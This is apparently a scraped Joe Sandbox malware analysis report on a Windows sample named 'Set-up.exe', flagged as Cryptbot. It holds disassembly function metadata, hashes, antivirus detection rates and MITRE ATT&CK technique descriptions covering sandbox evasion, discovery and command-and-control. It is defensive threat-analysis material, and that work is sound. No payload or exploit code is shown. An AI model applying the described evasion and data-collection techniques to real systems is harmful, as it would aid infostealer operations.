Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _byteswap_uint64
String ID: nghttp3_conv.c$nghttp3_get_varint
API String ID: 1624361598-912089391
Opcode ID: fda592ee83d1d07d7914401739c538468767248c52d5b846e87f9dd7b94b8f3a
Instruction ID: 47f2cc0c0e035626628d5fc9d4e4f0904409d7abca3d65f0880062ab5e16672d
Opcode Fuzzy Hash: fda592ee83d1d07d7914401739c538468767248c52d5b846e87f9dd7b94b8f3a
Instruction Fuzzy Hash: 18F0F6B151014297D7049F38D801928B7A2EB86712F48C2E5F094CA0C4CB7CC981E711

Function 001B0300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(rcbuf->ref > 0,nghttp3_rcbuf.c,0000005E,001C0B2D,5308C483,00000000,001B4D9F,?,001B0EC8), ref: 001B0333

Strings

nghttp3_rcbuf.c, xrefs: 001B0329
rcbuf->ref > 0, xrefs: 001B032E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: nghttp3_rcbuf.c$rcbuf->ref > 0
API String ID: 1222420520-1879435254
Opcode ID: 99fc26709c4a3691b92dc0e93981219a19beb23cbc69d015272eaadbff422354
Instruction ID: 90ccfa63626619cd84369076efd0023c5b535d1f698caf52b1d2f32520f489dc
Opcode Fuzzy Hash: 99fc26709c4a3691b92dc0e93981219a19beb23cbc69d015272eaadbff422354
Instruction Fuzzy Hash: D5E039382006049FCA198B15D949A66B7F1BF8D726F98C298F4098B2F2DB35DC02DA01

Function 002EA170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

Part of subcall function 002E9F60: GetStdHandle.KERNEL32(000000F4), ref: 002E9F76
Part of subcall function 002E9F60: GetFileType.KERNEL32(00000000), ref: 002E9F83
Part of subcall function 002E9F60: WriteFile.KERNEL32(00000000,?,00000200,?,00000000), ref: 002E9FBB

raise.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,002ED8B6,assertion failed: WITHIN_ARENA(ptr),crypto/mem_sec.c,000002E8,00000000,00000020,002EDF70,?,?,?,?,?,?,?,00000000), ref: 002EA18B
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000003,?,002ED8B6,assertion failed: WITHIN_ARENA(ptr),crypto/mem_sec.c,000002E8,00000000,00000020,002EDF70,?,?,?,?,?,?,?), ref: 002EA195

Strings

%s:%d: OpenSSL internal error: %s, xrefs: 002EA17C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: File$HandleTypeWrite_exitraise
String ID: %s:%d: OpenSSL internal error: %s
API String ID: 2477291680-569889646
Opcode ID: 487c891abaae3408a02d6a7b446ed209454e08f007aac8d4856bef79a9c9be81
Instruction ID: 09ddf3dae5b866066555ae1bf0dff4f6f6bfba1c5b44468aa1845ec4ad78ca0a
Opcode Fuzzy Hash: 487c891abaae3408a02d6a7b446ed209454e08f007aac8d4856bef79a9c9be81
Instruction Fuzzy Hash: 5CC022B2980341BBEF027E814C03A3AB8206F22704F081C2DB204200D39AA38234A74B

Function 006386C0 Relevance: 5.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 00638600: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,006386ED), ref: 00638618
Part of subcall function 00638600: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,006386ED), ref: 00638634

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00638775
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0063877D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00638796
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006387B0

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free$calloc
String ID:
API String ID: 3095843317-0
Opcode ID: e02476b3b6dd6bf0acefb0d4685dd3d7c105711cd3208b6e3ba0905aaeca323b
Instruction ID: f92ed281a20753403db8a60934c362acf18da7e67140d0bbc3bb6f23c12e0020
Opcode Fuzzy Hash: e02476b3b6dd6bf0acefb0d4685dd3d7c105711cd3208b6e3ba0905aaeca323b
Instruction Fuzzy Hash: 1931B4B4604B019FC710EF6AC4C059ABBF6FF99710F108A2DE99987741DB34E885CB92

Function 00494230 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0011F9BB,00000000,00125F07,?,?,0011F9BB,?), ref: 00494266
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0011F9BB,00000000,00125F07,?,?,0011F9BB,?), ref: 0049427A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0011F9BB,00000000,00125F07,?,?,0011F9BB,?), ref: 00494285
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0011F9BB,00000000,00125F07,?,?,0011F9BB,?), ref: 00494290

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05352d99cb5b6707c836cd8866524aee76852dcfb9852425cb184d5e69757df9
Instruction ID: 844c15d7ce1c0754866120fc786b179d2e297cdbc5bc465457d29bed88029e23
Opcode Fuzzy Hash: 05352d99cb5b6707c836cd8866524aee76852dcfb9852425cb184d5e69757df9
Instruction Fuzzy Hash: 1801A276A001008FEE609B59E441D17BBD5AFD13A8F09807EE449CB362D638EC41CB85

Function 00482810 Relevance: 5.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0046D8A5,?), ref: 0048281B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00482826
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00482831
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0048283A

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d06baf8957ef96d7a6d475749e0039a2886766f8ae01318c45b95ee976058131
Instruction ID: cd582b502a5eaf00e943b198dbed53be0662642dc3450ca8899419a2eb3fab24
Opcode Fuzzy Hash: d06baf8957ef96d7a6d475749e0039a2886766f8ae01318c45b95ee976058131
Instruction Fuzzy Hash: 4CD012B6C0551057FD123A15BC0244B7A905F6133CF08063EF845A1666EA16AD2595C7

Source: C:\Users\user\Desktop\Set-up.exe	Code function: -----BEGIN PUBLIC KEY-----		0_2_0013DCF0
Source: Set-up.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: Set-up.exe	Virustotal: Detection: 33%			Perma Link
Source: Set-up.exe	ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00498E90 Sleep,_open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,	0_2_00498E90
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00631870 GetVersion,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,GetLastError,__acrt_iob_func,_time32,GetLastError,__acrt_iob_func,	0_2_00631870
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_0034F6E0 wcscmp,CryptAcquireContextW,CryptGetUserKey,GetLastError,GetLastError,CryptReleaseContext,	0_2_0034F6E0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00351B40 MultiByteToWideChar,MultiByteToWideChar,CryptAcquireContextW,CryptGetProvParam,CryptGetProvParam,CryptGetProvParam,GetLastError,GetLastError,CryptReleaseContext,GetLastError,CryptReleaseContext,	0_2_00351B40

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Cryptbot

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Windows Analysis Report
Set-up.exe

Function 001129FF Relevance: 63.3, APIs: 20, Strings: 16, Instructions: 321
stringprocessregistryCOMMON

Function 0011255D Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 282
filestringCOMMON

Function 001DAA30 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 364
networkCOMMON

Function 0011116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Function 00498E90 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 00631870 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
COMMON

Function 001205B0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 369
networkCOMMON

Function 001D9740 Relevance: 32.2, APIs: 12, Strings: 6, Instructions: 736
registrystringCOMMON

Function 00112F17 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 144
registryCOMMON

Function 002EE5D0 Relevance: 19.6, APIs: 13, Instructions: 107
filestringCOMMON

Function 00148B50 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 263
networkCOMMON

Function 001176A0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 69
networkCOMMON

Function 002947B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 95
stringCOMMON

Function 001131D7 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 73
processCOMMON

Function 00117770 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 69
networkCOMMON